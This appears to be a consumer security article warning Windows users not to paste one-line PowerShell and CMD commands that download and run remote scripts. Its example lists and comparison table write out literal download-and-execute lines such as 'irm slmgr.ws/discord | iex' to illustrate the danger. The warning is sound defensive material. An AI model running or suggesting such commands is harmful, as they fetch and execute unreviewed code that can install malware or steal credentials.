The One‑Line PowerShell Commands Hackers Want You to Run

Dangerous One-Line PowerShell and CMD Commands You Should Never Run

---

What these one-line commands really are

Some PowerShell and CMD commands look simple and helpful, but in reality they download and execute unknown code from the internet. A common pattern used in modern malware campaigns is:

• irm <unknown-website> | iex
• iwr <unknown-website> | iex
• curl <unknown-website> | iex
• wget <unknown-website> ... | iex

In this pattern, the first command downloads a script from a remote server, and iex (Invoke-Expression) executes it immediately, without showing you what it does. If you want to understand how to verify a script safely before running it, see How to Check if a Windows Script Is Safe.

This combination gives full control to whoever controls the remote site, which is why attackers love it.

Why attackers use this pattern

Attackers promote these one-line commands on TikTok, YouTube, Discord, and shady websites, usually promising:

• “Free Photoshop” or “free Adobe apps”
• “Discord Nitro for free”
• “Windows or Office activators”
• “Game cheats” or “FPS boosters”

The goal is to convince users to copy and paste a single line into PowerShell or CMD with administrator rights. Once executed, the script can install malware, steal passwords, or open a backdoor on the system, all without any visible installer window.

---

Examples of dangerous PowerShell commands

The exact domain names and paths change over time, but the structure stays the same. Below are examples of dangerous patterns you should avoid. These commands often appear in fake “activators” or “installers” that claim to unlock paid software for free. For more details on why these tools are dangerous, read How to Avoid Fake Windows Activators.

• irm slmgr.ws/discord | iex
• irm slmgr.ws/photoshop | iex
• irm slmgr.ws/win | iex
• irm slmgr.ws/office | iex
• irm slmgr.ws/ | iex
• iwr slmgr.ws/discord | iex
• curl slmgr.ws/win | iex
• wget slmgr.ws/office ... | iex

Any command that downloads a script from an unknown or unofficial website and pipes it directly into iex is a serious security risk, regardless of what the path or file name suggests.

What these commands can actually do

Once executed, these scripts can:

• Steal browser passwords and authentication cookies
• Collect system information and send it to a remote server
• Install additional malware (ransomware, keyloggers, crypto miners)
• Create fake scheduled tasks to persist after reboot
• Inject code into memory to avoid basic antivirus detection

Because the code runs in memory and is downloaded at runtime, it is harder to detect and analyze after the fact. In many cases, users only notice something is wrong when accounts are compromised or the system becomes unstable.

---

Comparison table: harmless vs dangerous command patterns

Pattern	Example	Description	Risk
Local script execution	.\script.ps1	Runs a script stored locally that you can open and inspect before execution.	Low (if script is trusted)
Official installer	winget install Microsoft.Edge	Uses a trusted package manager and official sources, with documented behavior.	Low
Remote script download only	irm https://example.com/script.ps1 -OutFile script.ps1	Downloads a script so you can open and review it before running. Still requires caution.	Medium (depends on source)
Remote script download + immediate execution	irm slmgr.ws/discord | iex	Downloads and executes unknown code from an unofficial server in one step, with no review.	Extreme

---

Security warnings and best practices

As a rule, you should never run commands that:

• Come from TikTok, YouTube comments, Discord chats, or random forums
• Contain irm, iwr, curl, or wget followed by | iex
• Claim to “activate” paid software for free
• Use shortened or suspicious domains instead of official vendor sites

If you are not 100% sure what a command does, do not run it. It is safer to ask a trusted source or use official documentation instead of copying random commands from social media or comments.

Safer alternatives and official sources

For Windows, apps, and drivers, always prefer:

• Official vendor websites (Microsoft, Adobe, hardware manufacturers)
• Microsoft Store and winget for app installation
• Documented scripts from trusted repositories with visible source code

For more information on staying safe with PowerShell and CMD, you can refer to:

• Microsoft PowerShell Documentation
• Microsoft Security Response Center
• Microsoft Defender Security Intelligence
• Adobe Official Downloads
• Discord Official Download
• NIST Cybersecurity Framework

Sticking to official sources and documented tools dramatically reduces the risk of malware infections caused by copy‑pasted one‑line commands.

---

Final thoughts

One-line PowerShell and CMD commands that download and execute code from unknown websites are a real danger for any Windows system. They are easy to copy, hard to analyze, and often used in modern malware campaigns. Treat every such command as hostile unless it comes from an official, well-documented source and you fully understand what it does. When in doubt, do not run the command at all.